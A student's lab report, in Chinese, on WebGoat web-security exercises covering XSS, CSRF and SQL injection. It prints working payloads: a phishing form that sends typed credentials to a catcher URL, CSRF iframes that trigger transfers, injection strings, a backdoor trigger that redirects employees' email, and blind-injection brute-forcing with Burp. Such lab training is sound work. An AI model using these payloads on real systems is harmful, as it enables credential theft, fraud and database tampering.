zoukankan      html  css  js  c++  java
  • 20145208 蔡野 《网络对抗》Exp9 web安全基础实践

    20145208 蔡野 《网络对抗》Exp9 web安全基础实践

    • 本实践的目标理解常用网络攻击技术的基本原理。Webgoat实践下相关实验。

    实验后回答问题

    (1)SQL注入攻击原理,如何防御

    • 攻击原理:利用输入的机会构造自己期望的请求,比如破坏掉用户名或者密码验证进行登录,还有对数据库增删查改的基本操作。
    • 防御:利用输入规则限制进行防御,不允许特殊字符输入

    (2)XSS攻击的原理,如何防御

    • 攻击原理:XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,XSS攻击类似于SQL注入攻击,将攻击代码写在url或者数据库存储里面,诱使别人访问从而运行代码。
    • 防御:和sql注入防御类似(永远不相信用户的输入)。需要对用户的输入进行处理,只允许输入合法的值,其它值一概过滤掉。如果有时候不能过滤的话,就将敏感的字符进行替换,让代码失去本来的样子,在读取的时候在替换回来。

    (3)CSRF攻击原理,如何防御

    • 攻击原理:CSRF全名是Cross-site request forgery,是一种对网站的恶意利用,CSRF比XSS更具危险性。CSRF可以劫持会话和cookie来冒名进行 一些操作,比如实验中的转账。
    • 防御:通过验证码来检测用户提交,尽量不要在页面的链接中暴露用户隐私信息,对于用户修改删除等操作最好都使用post 操作 ,避免全站通用的cookie,严格设置cookie的域。

    实验总结与体会

    • 感觉sql注入和xxs攻击都很好很强大,做的有点停不下来,感觉特别有用!一口气做了12个,剩下的自己有时间再做,先把博客发了。

    实践过程

    webgoat安装

    • 这部分在老师的指导(就指导了安装这一个事情)和周岐浩的博客里面说的很清楚,可以直接参考,我也不多做说明了。
    • ps:校网下载安装包是真的慢。。。还经常出现错误下载终止逼得我开流量下载了。我把下载好的安装包上传到网盘分享在这里,有需要的可以下载一些,虽然百度网盘也不快下载链接。放心,链接没有sql注入什么的~

    实践过程

    XSS注入攻击

    Phishing with XSS

    • 这个很简单,就是在文本框里面写一个钓鱼网站代码就可以了
    </form>
      <script>
        function hack(){ 
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
        alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
      </script>
    <form name="phish">
    <br>
    <br>
    <HR>
      <H2>This feature requires account login:</H2>
    <br>
      <br>Enter Username:<br>
      <input type="text" name="user">
      <br>Enter Password:<br>
      <input type="password" name = "pass">
    <br>
      <input type="submit" name="login" value="login" onclick="hack()">
    </form>
    <br>
    <br>
    <HR>
    
    • 提交后如图:

    • 成功!

    Stored XSS Attacks

    • 这个超简单,在message里面随便输入点什么让别人不愉快的东西就可以了,比如一个玩笑弹窗
    <script>
        alert("Had this been a real attack...hehe just joke");
    </script>
    
    • 效果如图:

    Reflected XSS Attacks

    • 根据题意和提示在下面文本框中输入http://www.targetserver.com/search.asp?input=<script>alert("hello");</script>,我选择的最后一个文本框输入
    • 提交后入图弹出来窗口:

    • 看上去和上面很类似,但是原理不同,上面的是存储式的,这个是通过写在url里面达到的效果,里面的脚本也可以改写成其他恶意的内容

    CSRF攻击

    Cross Site Request Forgery (CSRF)

    • 这个实践是利用cookie冒名登录,用代码伪造请求
    • 在message里面输入<img src=' attack?Screen=自己网站的scr &menu=自己网站的menu &transferFunds=转钱数额 ' width='1' height='1'>就会发出一个转钱的请求,盗取钱财。

    CSRF Prompt By-Pass

    • 这个就是利用CSRF进行冒名操作转账,填入message的代码如下:
    <iframe
        src="attack?Screen=273&menu=900&transferFunds=5000"
        id="myFrame" frameborder="1" marginwidth="0"
        marginheight="0" width="800" scrolling=yes height="300"
        onload="document.getElementById('frame2').src='attack?Screen=282&menu=900&transferFunds=CONFIRM';">
    </iframe>
    
    <iframe
        id="frame2" frameborder="1" marginwidth="0"
        marginheight="0" width="800" scrolling=yes height="300">
    </iframe>
    

    SQL注入攻击

    Numeric SQL Injection

    • 老师课上没做出来的,用老师的步骤一下子就成功了,看来是老师电脑今天不配合,挽尊!

    Log Spoofing

    • 利用换行符伪造一个假的日志信息,欺骗人眼。

    String SQL Injection

    • 这个就是之前网页sql注入的方法,在输入名字那里构造永真式,输入'or 1='1

    SQL Injection

    Stage 1 String SQL Injection
    • 在密码栏中输入' or 1=1 --来让密码规则破坏,但是登录不成功,抓包发现密码字段变了:

    • 发现问题在这,有长度限制,修改一下重新尝试成功了管理员neville:

    Stage 3 Numeric SQL Injection
    • 这里要求我们登陆larry后能浏览Neville的profile信息,登陆larry后,可以发现能浏览员工信息的就是ViewProfile按钮,我们抓包分析这个按钮提交的参数:

    • 然后将id字段改成101 or 1=1 order by salary desc --走一下,回到网页发现成功了:

    Database Backdoors

    • 第一步,通过输入101; update employee set salary=70000来给id为101的人改工资(真好!):

    • 第二步:留一个后门,让所有新用户的邮箱都是我的,工资都邮到我这里来吧!101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='caiye@qq.com' WHERE userid = NEW.userid

    Blind Numeric SQL Injection

    • 我们知道一个cc_number=1111222233334444,但是想知道其pin在pins表里的值,可以使用盲注进行爆破,输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
    • 然后使用BP进行拦截,拦截后action--send to intruder进行爆破,使用sniper模式,选择10000进行数字爆破(选择前先clear将默认的爆破点清除),从1到10000,步长为1,时间会很久:

    • 可以发现返回报文的长度从2364开始改变了,所以尝试用2364进行请求,返回成功.那么其pin就为2364,输入2364,成功!

    Blind String SQL Injection

    • 跟上面的那个盲注入类似,猜测cc_number='4321432143214321'的用户名,使用了SQL里的SUBSTRING这个函数,每一个字母进行爆破,原理和数字盲注一样:101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) = 'h' );
    • 因为有两个爆破点,一个是SubString函数的第二个参数,一个是字母h,所以使用Cluster Bomb进行爆破
    • 爆破点1 是1-10 10个可能性
    • 爆破点2 是a-z和A-Z 52个可能性,

    • 一共520种组合,时间还算可以接受:

    • 可以发现规律,正常是数字为10时报文长度为1334,因为10比1-9多一位;但有一些不是10报文长度也是1334,查看返回报文是Account number is valid,即有效账户,所以爆破得到了账户名。
    • 用户名是通过上图结果拼接而成,前面的数字代表后门字母在用户名中的位置:

  • 相关阅读:
    DATASTAGE中ODBC连接的配置
    DataStage 服务启动
    VS 安装部署项目自解压程序解压后按顺序执行多个程序
    DataStage系列教程 (Pivot_Enterprise 行列转换)
    [Leetcode] Binary tree-- 637. Average of Levels in Binary Tree
    [Leetcode] Binary tree -- 501. Find Mode in Binary Search Tree
    [Leetcode] Binary tree-- 606. Construct String from Binary Tree
    [Leetcode] DP-- 516. Longest Palindromic Subsequence
    [Leetcode] DP-- 638. Shopping Offers
    [Leetcode] DP-- 464. Can I Win
  • 原文地址:https://www.cnblogs.com/20145208cy/p/6827873.html
Copyright © 2011-2022 走看看